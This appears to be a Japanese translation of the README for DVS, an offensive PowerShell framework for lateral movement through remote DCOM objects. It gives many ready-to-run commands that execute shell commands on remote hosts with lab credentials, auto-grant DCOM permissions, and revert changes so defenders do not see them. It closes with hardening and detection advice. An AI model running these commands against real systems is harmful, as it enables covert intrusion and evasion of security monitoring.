
D(COM) V(ulnerability) S(canner) 別名 Devious swiss army knife - DCOM オブジェクトを使用した横方向の移動
内部ネットワークを横方向に移動する方法や、EDR に警告を発することなくリモートマシンと対話する方法を考えたことはありますか? 有効な資格情報を持っているか、リモートマシンにアクセスできるアクティブなセッションがあるが、既知、予想、または高度に監視された方法(WMI、タスクスケジューラ、WinRM、PowerShell リモート処理など)でリモートでプロセスを実行する選択肢がないと仮定しましょう。
このようなシナリオでは、DVS フレームワークが救いの手を差し伸べます。
DVS フレームワークはスイスアーミーナイフであり、リモート DCOM オブジェクトの脆弱な関数を列挙し、それらを起動し、さらにはそれらを使用して攻撃を開始することができます。
このフレームワークは「レッドチーム」の考え方で開発されており、ステルスな方法を使用してリモートマシンを侵害します。
DVS フレームワークには、DCOM に対するリモートの堅牢化を リモートから 再び有効にし、攻撃ユーザーに必要な権限を自動的に付与することでバイパスするさまざまな方法が含まれています。
また、フレームワークはリモートマシンの変更を攻撃前の元の状態に戻すこともでき、防御側からこれらの変更を隠します。
私たちの主な洞察は、このツールが aqsome テクニック(Invoke-RegisterRemoteSchema について以下を参照)を使用して、脆弱ではない DCOM オブジェクトを介してコマンドを実行できることです。
PowerShell 2.0 以降と互換性あり
YouTube ビデオ PoC: DVS
このツールはテストおよび教育目的のみです。このコードのその他の使用は許可されていません。自己責任で使用してください。
作成者は、このツールの誤用によるいかなる責任も負いません。
使用することにより、このツールの使用によって生じた損害に対する責任はすべて利用者にあることを認めたものとします。
リモートレジストリアクセス(MS-RRP)
AutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認する標準レジストリプロバイダー(リモートレジストリが拒否された場合)
StdRegProv にアクセス可能かどうかを確認するAutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認するDVS ツールは、まず以下の手順でプリンシパル ID がリモートマシンにアクセスできるかどうかを確認します。
基本アクション
SkipRegAuth がフラグされていない場合)
AutoGrant がフラグされている場合)、それ以外の場合は失敗しますadsi/WindowsIdentity 機能を介して)が DCOM との対話を許可されているかどうかを確認します(リモートレジストリクエリを介して)AutoGrant がフラグされている場合)、それ以外の場合は失敗しますHKLM または HKCU ハイブ)を使用して試みますInvoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Invoke-DCOMObjectScan コマンドの詳細を取得します
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema コマンドの詳細を取得します
Invoke-DCOMObjectScan 関数を使用すると、DCOM オブジェクトをスキャンし、ファイルに含めたパターンのリストまたは正確な関数名を介して脆弱な関数を見つけることができます。
例:
DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトを列挙してスキャンします。レジストリは照会しません。
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
注: ツールは ACL 権限を分析しません。ツールが成功すると、オブジェクトに関するすべての情報(オブジェクト名、実行可能ファイルなど、レジストリに記載されている詳細を除く)を解決します。
DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトにアクセス可能かどうかを、DCOM オブジェクトのアクセスリストを事前に照会および確認せずにチェックします。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
MMC20.Application (ProgID) が範囲 10.211.55.4/24 を介して適用可能かどうかを検証します。存在する場合、ツールはその情報の列挙を試みます(現在ログオンしているユーザーセッションを使用)。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Get-ExecutionCommand 関数を使用すると、リモート DCOM 関数と対話し、関連するパラメータで実行する PowerShell ペイロードを生成できます。
IP アドレス 10.211.55.4 を介して、lab\administrator 資格情報を使用して、プリンシパル ID が {00020812-0000-0000-C000-000000000046} CLSID オブジェクトとの対話を許可されているかどうかを確認し、実行コマンドを生成します。
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
DCOM アクセスを確認します。
プリンシパル ID に必要な権限がない場合、または DCOM 機能が無効な場合、ツールは DCOM 機能を有効にし、ID アクセスを許可して、lab\administrator 資格情報を使用して IP アドレス 10.211.55.4 を介して MMC20.Application (ProgID) オブジェクトと対話し、実行コマンドを生成します。
最後に、マシンを攻撃前と同じ状態に戻します。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
MMC20.Application (ProgID) オブジェクトと、現在ログオンしているセッションを使用して 範囲を介して対話を試みます。ACL 権限は分析しません。
その後、実行コマンドを生成します。
Invoke-ExecutionCommand 関数を使用すると、ログオンユーザーまたは提供された資格情報を使用して DCOM オブジェクトを介してコマンドを実行できます。
例:
DCOM アクセスを確認します。
プリンシパル ID に必要な権限がない場合、または DCOM 機能が無効な場合、ツールは DCOM 機能を有効にし、アクセスを許可し、MMC20.Application (ProgID) オブジェクトと範囲 10.211.55.1/24 を介して現在ログオンしているユーザーセッションを使用して対話し、以下のコマンドを実行します。
cmd.exe /c calc コマンドを実行します
Frame.Top 属性を 1 に設定します
最後に、マシンを攻撃前と同じ状態に戻します。
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
lab\administrator 資格情報を使用して IP アドレス 10.211.55.4 を介して MMC20.Application (ProgID) オブジェクトとの対話を試み、以下のコマンドを実行します: cmd.exe /c calc
Invoke-RegisterRemoteSchema 関数を使用すると、ログオンユーザーまたは提供された資格情報を使用して、以下の DCOM オブジェクトを介してコマンドを実行できます:
注: これらの DCOM オブジェクトはローカルマシンハイブへのアクセスを必要としません。リモートマシンにアクセスできる任意のユーザーで足掛かりを得ることができます。
現在ログオンしているセッションを使用して、範囲 10.211.55.1/24 上で cmd /c calc コマンドを実行し、必要に応じて権限を付与します
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
提供された資格情報を使用して、リモートマシン 10.211.55.4 上で cmd /c calc コマンドを実行します
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
MITRE テクニック: T1021.003 - リモートサービス: 分散コンポーネントオブジェクトモデル
リモート DCOM アクセスを無効にする
不要な場合、リモートレジストリアクセスを許可しない
どちらのオプションも、可用性に影響を与えずにエンタープライズ環境で実装することは困難です。
それでも、ドメインのリモート管理を必要としないエンドポイント(例: スタンドアロンエンドポイント)には、良い堅牢化オプションになります。
Windows Defender ファイアウォールのドメインプロファイルとプライベートプロファイルを有効にする
LAPS を使用して攻撃対象領域を減らす。ドメイン内の各コンピューターが異なるローカル管理者パスワードを持つ場合、このアカウントを横方向の移動に使用することはできません。
ユーザーアクセス権の堅牢化により、この攻撃を防ぐことができます
グループポリシーオブジェクトを使用することで、組織は administrators、users、その他のグループをリストから削除し、集中管理用の特別なグループ/ユーザー(他のコンピューターに対話的にログオンしない)に移行できます。
[コンピューターの構成\Windows の設定\セキュリティの設定\ローカル ポリシー\ユーザー権利の割り当て\ネットワークからこのコンピューターにアクセス]
公式の堅牢化ガイド(CIS など)では、[ネットワークからこのコンピューターにアクセス] の推奨設定は "administrators と Remote Desktop Users または Authenticated users" です。この推奨事項は DVS ツールに対して脆弱です。
administrators の権限を リモート起動 および リモートアクティブ化 の権限から削除して、DCOM 権限を堅牢化します。
ホストベースのファイアウォール/アプリケーション認識ファイアウォールを使用して、コンピューター間の DCOM アクセスをブロックします。特に IT または管理インフラストラクチャの一部ではないコンピューターに対して。
アプリケーション制御ルールは、セキュリティ制御の最終ラインとして、脆弱なプロセスが危険な子プロセスを生成したり、DLL をロードしたりするのを防ぐために使用できます。
例:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
以下の場所のレジストリの変更を監視します:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
このキーは DCOM のアクセス許可設定です。変更された場合、DVS ツールを使用した攻撃者が堅牢化を解除した可能性があります。
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] キーに関連付けられたサブキーとレジストリ値には、COM 機能をサポートするために必要なアプリケーションに関する情報が含まれています。この情報には、サポートされるデータ形式、互換性情報、プログラム識別子、DCOM、コントロールなどのトピックが含まれます。" Microsoft デベロッパーセンターのリファレンス
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
このキーの変更は、DVS ツールが DCOM の リモートアクティブ化 および リモート起動 制限を無効にした可能性を示します。
アプリケーション認識ファイアウォールを使用して、コンピューター間の DCOM アクセスをブロックします。特に IT または管理インフラストラクチャの一部ではないコンピューターに対して。
侵入防止システム(例: Snort、Suricata)を使用して、RPC(MS-RPC、MS-RPCE)およびリモートレジストリプロトコル(MS-RRP)に基づく DCOM プロトコルを検出できます。
Windows Defender ファイアウォールを監視するには、ドメイン および プライベート プロファイルのブロックされたトラフィックの監査ログを有効にします。
以下のキーの変更を監視します。DVS ツールが Microsoft Defender ファイアウォールの動的 RPC 制限をバイパスするルールを作成した可能性があります。
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Windows イベントログを監視します:イベントの監査を有効にします。成功時および失敗時に有効にする必要がある監査設定: 監査アカウント ログオン イベント | 監査ログオン イベント | 監査オブジェクト アクセス | NTLM 監査
このレジストリ キーに移動: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 値が '1' の新しい DWORD を作成し、ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel と名付けます。
CLSID {00020812-0000-0000-C000-000000000046} が IP アドレス 10.211.55.4 を介してオブジェクトとして存在し、アクセス可能かどうかを検証します。存在する場合、ツールはその情報を解決します(lab\administrator 資格情報を使用)。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
指定されたパス(例: C:\Users\USERNAME\Desktop\DVS\objects.txt)に保存されているすべてのオブジェクトを IP アドレス 10.211.55.4 を介してスキャンし、指定されたファイル(vulnerable.txt など)にある関数リストを lab\administrator 資格情報を使用して見つけます。設定は以下の通り:
最大深度: 4
最大結果: 1 (オブジェクトごとに 1 つの結果)
AutoGrant モード: オブジェクトにアクセスできないか、DCOM 機能が無効な場合、DCOM 機能を有効にし、該当する DCOM オブジェクトに自動的に許可を実行します。
最後に、マシンを攻撃前と同じ状態に戻します。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
10.211.55.1/24 範囲の利用可能なリモートマシンに保存されているすべてのオブジェクトをスキャンし、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)のリストから潜在的な脆弱な関数を見つけ、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\exclude.txt)のオブジェクトを除外し、同じオブジェクト上の他のルートにある同じ名前のプロパティをスキップします。
注: SkipSameProperyName フラグは、同じプロパティ名が異なるプリファレンス(メソッド/その他のプロパティ)または異なる深度チェーンを持つ場合、脆弱な関数を見逃す可能性があります。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
10.211.55.1/24 PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
MMC20.Application (ProgID) オブジェクトと IP アドレス 10.211.55.4 を介して対話を試みます。レジストリは照会しません。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
現在ログオンしているユーザーセッションを使用して MMC20.Application (ProgID) オブジェクトとの対話を試みます。ACL 権限は分析しません。以下のコマンドを実行します: cmd.exe /c calc
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose